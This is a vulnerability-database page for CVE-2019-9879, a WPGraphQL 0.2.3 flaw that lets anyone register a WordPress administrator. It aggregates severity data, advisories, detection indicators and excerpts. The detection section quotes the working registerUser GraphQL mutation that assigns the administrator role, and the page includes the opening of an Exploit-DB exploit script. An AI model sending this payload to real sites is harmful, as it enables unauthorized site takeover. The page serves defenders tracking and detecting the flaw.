CVE-2019-9879
published 2019-06-10CVE-2019-9879: The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed…
PriorityP185critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
46.61%
98.7th percentile
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| wpengine | wpgraphql | — | — |
Detection & IOCsextracted from sources · hover to see the quote
path/wp-content/plugins/wp-graphql/
commandmutation{registerUser(input:{clientMutationId:"UWHATM8",email:"{{user_email}}",password:"{{password}}",username:"{{username}}",roles:["administrator"]}){clientMutationId}}
- →Flag POST requests to /graphql (or the WordPress GraphQL endpoint) with a JSON body containing both 'registerUser' and 'roles' fields. ↗
- →Presence of the string 'UWHATM8' as a clientMutationId in GraphQL POST bodies is a strong indicator of this specific exploit tool being used. ↗
- →Detect reconnaissance queries enumerating users, plugins, themes, and media via unauthenticated GraphQL POST requests to the /graphql endpoint. ↗
- ·The vulnerability is only exploitable when WordPress user registrations are open (i.e., 'Anyone can register' is enabled in WordPress settings). ↗
- ·The exploit targets specifically WPGraphQL version 0.2.3; version 0.3.0 and later contain the fix. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
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GHSA
GHSA-723x-w2r7-8wg2: The WPGraphQL 0
ghsa_unreviewed·2022-05-24
CVE-2019-9879 [CRITICAL] CWE-306 GHSA-723x-w2r7-8wg2: The WPGraphQL 0
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
VulnCheck
wpengine wpgraphql Missing Authentication for Critical Function
vulncheck·2019·CVSS 9.8
CVE-2019-9879 [CRITICAL] wpengine wpgraphql Missing Authentication for Critical Function
wpengine wpgraphql Missing Authentication for Critical Function
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
Affected: wpengine wpgraphql
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://unit42.paloaltonetworks.com/network-attack-trends-winter-2020/
No detection rules found.
Exploit-DB
WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities
exploitdb·2019-05-21
CVE-2019-9881 WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities
WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities
---
#!/usr/bin/env python
#
# Author: Simone Quatrini of Pen Test Partners
# CVEs: 2019-9879, 2019-9880, 2019-9881
# Tested on Wordpress 5.1.1 and wp-graphql 0.2.3
# https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
import argparse
import requests
import base64
import json
import sys
parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit")
parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql")
parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-co
Nuclei
WPGraphQL 0.2.3 - User Creation
nuclei·CVSS 9.8
CVE-2019-9879 [CRITICAL] WPGraphQL 0.2.3 - User Creation
WPGraphQL 0.2.3 - User Creation
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
Template:
id: CVE-2019-9879
info:
name: WPGraphQL 0.2.3 - User Creation
author: DhiyaneshDk
severity: critical
description: |
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
impact: |
Attackers can create admin users, leading to full control over the WordPress site.
remediation: |
Update to the latest version of WPGraphQL or apply security patches to restrict user registration permissions.
reference:
- ht
Unit42
Network Attack Trends: Internet of Threats (November 2020-January 2021)
blogs_unit42·2021-04-12·CVSS 7.5
CVE-2020-28188 [HIGH] Network Attack Trends: Internet of Threats (November 2020-January 2021)
# Executive Summary
Unit 42 researchers analyzed network attack trends over Winter 2020 and discovered many interesting exploits in the wild. During the period of Nov. 2020 to Jan. 2021, the majority of the attacks we observed were classified as critical (75%), compared to the 50.4% we reported in the fall of 2020. Several newly observed exploits, including CVE-2020-28188, CVE-2020-17519, and CVE-2020-29227, have emerged and were continuously being exploited in the wild as of late 2020 to early 2021.
This blog provides details of the newly observed exploits as well as a dive deep into the exploitation analysis, vendor analysis, attack origin, and attack category distribution.
Palo Alto Networks Next-Generation Firewall customers are protected from these attacks with the URL Filtering an
Unit42
Network Attack Trends: Internet of Threats (November 2020-January 2021)
blogs_unit42·2021-04-12·CVSS 7.5
[HIGH] Network Attack Trends: Internet of Threats (November 2020-January 2021)
Threat Research Center
Trend Reports
Vulnerabilities
## Network Attack Trends: Internet of Threats (November 2020-January 2021)
Lei Xu
Yue Guan
Vaibhav Singhal
Published: April 12, 2021
Malware
Trend Reports
Vulnerabilities
Botnet
DDoS
Exploit kit
IoT
Network security trends
## Executive Summary
Unit 42 researchers analyzed network attack trends over Winter 2020 and discovered many interesting exploits in the wild. During the period of Nov. 2020 to Jan. 2021, the majority of the attacks we observed were classified as critical (75%), compared to the 50.4% we reported in the fall of 2020 . Several newly observed exploits, including CVE-2020-28188 , CVE-2020-17519 , and CVE-2020-29227 , have emerged and were continuously being exploited in the wild as of late 2020 to earl
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2019-06-10
Published
Exploited in the wild